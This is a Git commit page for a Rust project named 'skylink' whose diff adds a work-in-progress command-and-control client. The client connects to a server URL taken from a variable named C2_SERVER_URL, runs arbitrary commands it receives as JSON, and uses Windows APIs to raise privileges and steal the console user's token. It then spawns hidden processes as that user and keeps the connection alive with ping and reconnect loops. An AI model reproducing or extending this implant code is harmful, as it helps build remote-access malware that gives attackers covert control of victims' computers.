Xory/skylink
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

wip: winapi core

Browse source
This commit is contained in:
Xory 2025-12-01 20:44:11 +02:00
parent 7304b33b7c
commit a521782a37
6 changed files with 638 additions and 73 deletions
Download patch file Download diff file Expand all files Collapse all files

62
src/lib.rs
View file

@ -1,16 +1,21 @@
use futures_util::StreamExt;
use futures_util::{SinkExt, StreamExt};
use futures_util::stream::SplitSink;
use serde::{Deserialize, Serialize};
use tokio_tungstenite::tungstenite::Bytes;
use std::sync::Arc;
use tokio::{net::TcpStream, sync::Mutex};
use tokio_tungstenite::tungstenite::protocol::Message;
use tokio_tungstenite::{MaybeTlsStream, WebSocketStream, connect_async};
pub const WS_URL: &str = "ws://127.0.0.1:8080";
use crate::lib::logger::{log, LogLevel};
use crate::lib::winapi::run_as_user;
pub const WS_URL: &str = env!("C2_SERVER_URL");
pub const LOG_PATH: &str = "test.txt";
pub mod lib {
pub mod logger;
pub mod winapi;
}
pub type WsTx = Arc<Mutex<Option<SplitSink<WebSocketStream<MaybeTlsStream<TcpStream>>, Message>>>>;
@ -33,9 +38,8 @@ pub struct DnxParams<'a> {
#[derive(Deserialize, Serialize)]
pub enum Command<'a> {
RunCMD { command: &'a str },
RunCMD { command: &'a str, args: Vec<&'a str> },
URunCMD { command: &'a str },
RunExe { path: &'a str, args: &'a str },
URunExe { path: &'a str, args: &'a str },
ClientInfo,
Dnx { params: DnxParams<'a> },
@ -51,8 +55,54 @@ pub async fn reconnect_websocket(ws: WsTx) {
*lock = Some(ws_trx);
break;
}
println!("reconnect slp");
std::thread::sleep(std::time::Duration::from_secs(5));
println!("reconnect out");
}
}
pub async fn ping_job(ws_tx: WsTx) -> anyhow::Result<()> {
tokio::time::sleep(std::time::Duration::from_secs(10)).await;
let message = Message::Ping(Bytes::from("ping"));
{
let mut unlocked_ws_tx = ws_tx.lock().await;
if let Some(h) = unlocked_ws_tx.as_mut() {
log(LogLevel::Debug, LOG_PATH, "[ws] sending ping".to_string()).await;
h.send(message).await?;
return Ok(());
} else {
use tokio::io::{Error, ErrorKind};
return Err(Error::new(ErrorKind::BrokenPipe, "Sender is none").into())
}
}
}
pub fn eval_command(text: &str) -> anyhow::Result<String> {
let parsed: Command = serde_json::from_str(text)?;
match parsed {
Command::RunCMD {command, args} => {
let proc = std::process::Command::new(command)
.args(args)
.output()?;
return Ok(String::from_utf8_lossy(&proc.stdout).to_string());
},
Command::URunCMD { command } => {
let formatted_param = format!("cmd.exe /k {command}");
let _result = run_as_user(r"C:\Windows\System32\cmd.exe", &formatted_param)?;
// we temporarily mark these with _ since run_as_user might return later in dev
return Ok(format!(""))
},
Command::URunExe { path, args } => {
if let Some(executable_name) = path.split(r"\").last() {
let formatted_param = format!("{executable_name} {args}");
let _result = run_as_user(path, &formatted_param)?;
return Ok(format!(""))
} else {
use tokio::io::{Error, ErrorKind};
return Err(Error::new(ErrorKind::NotFound, "Invalid path").into())
}
}
_ => todo!()
}
}

6
src/lib/logger.rs
View file

@ -1,10 +1,6 @@
use crate::WsTx;
use crate::reconnect_websocket;
use futures_util::SinkExt;
use std::fs::OpenOptions;
use std::io::Write;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio_tungstenite::tungstenite::protocol::Message;
#[derive(PartialEq)]
pub enum LogLevel {
@ -51,7 +47,7 @@ pub async fn log(level: LogLevel, path: &str, detail: String) {
if let Err(e) = logfile.write(logfile_string.as_bytes()) {
eprintln!(
"Got error {:?} while trying to write to logfile.\n Exiting.",
"Got error {:?} while trying to write to logfile.",
e
);
}

95
src/lib/winapi.rs Normal file
View file

@ -0,0 +1,95 @@
use windows::core::{PCWSTR, PWSTR};
use windows::Win32::Foundation::{CloseHandle, HANDLE};
use windows::Win32::System::RemoteDesktop::{WTSGetActiveConsoleSessionId, WTSQueryUserToken};
use windows::Win32::System::Threading::{
CreateProcessAsUserW, CREATE_NO_WINDOW, CREATE_UNICODE_ENVIRONMENT,
PROCESS_INFORMATION, STARTUPINFOW,
};
use windows::Win32::System::Environment::{CreateEnvironmentBlock, DestroyEnvironmentBlock};
use ntapi::ntrtl::RtlAdjustPrivilege;
fn to_wide_vec(s: &str) -> Vec<u16> {
s.encode_utf16().collect()
}
pub fn run_as_user(app: &str, cmd: &str) -> anyhow::Result<()> {
// Create vectors for strings.
// Note: CreateProcessW requires the CommandLine to be a Mutable buffer (PWSTR),
// not a const pointer, as it may modify the string in place.
let app_wide = to_wide_vec(app);
let mut cmd_wide = to_wide_vec(cmd);
let mut desktop_wide = to_wide_vec("winsta0\\default");
unsafe {
// 1. Enable SE_INCREASE_QUOTA_PRIVILEGE (ID 5)
let mut useless: u8 = 0;
let status = RtlAdjustPrivilege(5, 1, 0, &mut useless);
if status != 0 {
return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("SE_INCREASE_QUOTA_PRIVILEGE failed: {status}")).into());
}
// 2. Enable SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (ID 3)
let mut useless: u8 = 0;
let status = RtlAdjustPrivilege(3, 1, 0, &mut useless);
if status != 0 {
return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("SE_ASSIGNPRIMARYTOKEN_PRIVILEGE failed: {status}")).into());
}
// 3. Get Active Console Session ID
// Replaces ntrtl::RtlGetActiveConsoleId with the documented Win32 API
let session_id = WTSGetActiveConsoleSessionId();
if session_id == 0xFFFFFFFF {
return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("WTSGetActiveConsoleSessionId failed: {status}")).into());
}
// 4. Get User Token
let mut user_token = HANDLE::default();
// Note: WTSQueryUserToken returns BOOL. In windows crate .as_bool() checks it.
if let Err(e) = WTSQueryUserToken(session_id, &mut user_token) {
return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("WTSQueryUserToken failed: {e}")).into());
}
// 5. Create Environment Block
// The windows crate defines the first arg as *mut *mut c_void
let mut env_block: *mut std::ffi::c_void = std::ptr::null_mut();
if let Err(e) = CreateEnvironmentBlock(&mut env_block, user_token, false) {
let _ = CloseHandle(user_token);
return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("CreateEnvironmentBlock failed: {e}")).into());
}
// 6. Setup Startup Info
let mut si: STARTUPINFOW = std::mem::zeroed();
si.cb = std::mem::size_of::<STARTUPINFOW>() as u32;
si.lpDesktop = PWSTR(desktop_wide.as_mut_ptr());
let mut pi: PROCESS_INFORMATION = std::mem::zeroed();
let creation_flags = CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT;
// 7. Create Process
CreateProcessAsUserW(
user_token,
PCWSTR(app_wide.as_ptr()), // Application Name (Const)
PWSTR(cmd_wide.as_mut_ptr()), // Command Line (Mutable!)
None, // Process Attributes
None, // Thread Attributes
false, // Inherit Handles
creation_flags, // Creation Flags
Some(env_block), // Environment
None, // Current Directory
&si, // Startup Info
&mut pi, // Process Information
)?;
// Cleanup process handles
let _ = CloseHandle(pi.hProcess);
let _ = CloseHandle(pi.hThread);
// 8. Cleanup
DestroyEnvironmentBlock(env_block)?;
let _ = CloseHandle(user_token);
Ok(())
}
}

92
src/main.rs
View file

@ -1,14 +1,11 @@
use futures_util::{SinkExt, stream::StreamExt};
use skylink::WsTx;
use skylink::{ping_job, reconnect_websocket, WsTx};
use skylink::lib::logger::{LogLevel, log};
use skylink::{LOG_PATH, WS_URL};
use std::sync::Arc;
use tokio::sync::Mutex;
use tokio_tungstenite::tungstenite::protocol::Message;
// This is the type for the SENDER half of the WebSocket stream.
// It will be the shared state.
// Some parts of this function were generated by an LLM. I'm taking note of this in case a
// weird barely detectable bug pops up, as LLMs tend to generate.
async fn websocket_handler(ws_tx: WsTx) {
@ -20,23 +17,13 @@ async fn websocket_handler(ws_tx: WsTx) {
let ws_stream = match connection_result {
Ok((stream, _)) => {
log(
LogLevel::Info,
LOG_PATH,
"[ws] WebSocket connection established.".to_string(),
)
.await;
log(LogLevel::Info, LOG_PATH, "[ws] WebSocket connection established.".to_string()).await;
stream
}
Err(e) => {
log(
LogLevel::Warning,
LOG_PATH,
format!("[ws] Failed to connect: {:?}. Retrying in 5s....", e)
)
.await;
log(LogLevel::Warning, LOG_PATH, format!("[ws] Failed to connect: {:?}. Retrying in 5s....", e)).await;
tokio::time::sleep(Duration::from_secs(5)).await;
continue; // Go to the next iteration of the loop to retry.
continue;
}
};
@ -46,80 +33,63 @@ async fn websocket_handler(ws_tx: WsTx) {
let mut unlocked = ws_tx.lock().await;
*unlocked = Some(ws_send);
}
let ws_tx_clone = ws_tx.clone();
tokio::spawn(async move {
loop {
if let Err(_) = ping_job(ws_tx_clone.clone()).await {
reconnect_websocket(ws_tx_clone.clone()).await;
}
}
});
while let Some(msg) = ws_recv.next().await {
match msg {
// break is used to trigger reconnect.
Ok(Message::Text(text)) => {
log(
LogLevel::Debug,
LOG_PATH,
format!("[ws] Received text: {}", &text)
)
.await;
log(LogLevel::Debug, LOG_PATH, format!("[ws] received text: {}", &text)).await;
}
Ok(Message::Close(_)) => {
log(
LogLevel::Warning,
LOG_PATH,
format!("[ws] Received close frame, disconnecting.")
)
.await;
break;
log(LogLevel::Warning, LOG_PATH, format!("[ws] received close frame, disconnecting.")).await;
break;
}
Ok(Message::Ping(h)) => {
log(
LogLevel::Debug,
LOG_PATH,
format!("[ws] Received Ping, sending Pong")
)
.await;
log(LogLevel::Debug, LOG_PATH, format!("[ws] received ping, sending pong")).await;
let mut unlocked = ws_tx.lock().await;
dbg!(&ws_tx);
dbg!(&unlocked);
match unlocked.as_mut() {
Some(v) => {
if let Err(e) = v.send(Message::Pong(h)).await {
log(LogLevel::Error, LOG_PATH, format!("[ws] Failed to send Pong: {e}, reconnecting.")).await;
log(LogLevel::Error, LOG_PATH, format!("[ws] failed to send pong: {e}, reconnecting.")).await;
break;
}
}
None => {
log(LogLevel::Error, LOG_PATH, format!("[ws] Failed to respond: no sink, reconnecting.")).await;
log(LogLevel::Error, LOG_PATH, format!("[ws] failed to respond: no sink, reconnecting.")).await;
break;
}
}
}
Err(e) => {
log(
LogLevel::Error,
LOG_PATH,
format!("[ws] Error receiving message: {:?}.", e),
)
.await;
log(LogLevel::Error, LOG_PATH, format!("[ws] error receiving message: {:?}.", e)).await;
break;
}
_ => { /* Ignore other message types */ }
}
{
let mut unlocked_ws_tx = ws_tx.lock().await;
*unlocked_ws_tx = None;
_ => {}
}
}
log(
LogLevel::Error,
LOG_PATH,
format!("[ws] Connection lost.")
)
.await;
{
let mut unlocked_ws_tx = ws_tx.lock().await;
*unlocked_ws_tx = None;
}
// Reconnecting is handled by the loop
// So, we sleep to avoid spamming the server.
std::thread::sleep(std::time::Duration::from_secs(5));
log(LogLevel::Error, LOG_PATH, format!("[ws] connection lost.")).await;
tokio::time::sleep(std::time::Duration::from_secs(5)).await;
}
}
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let ws_tx: WsTx = Arc::new(Mutex::new(None));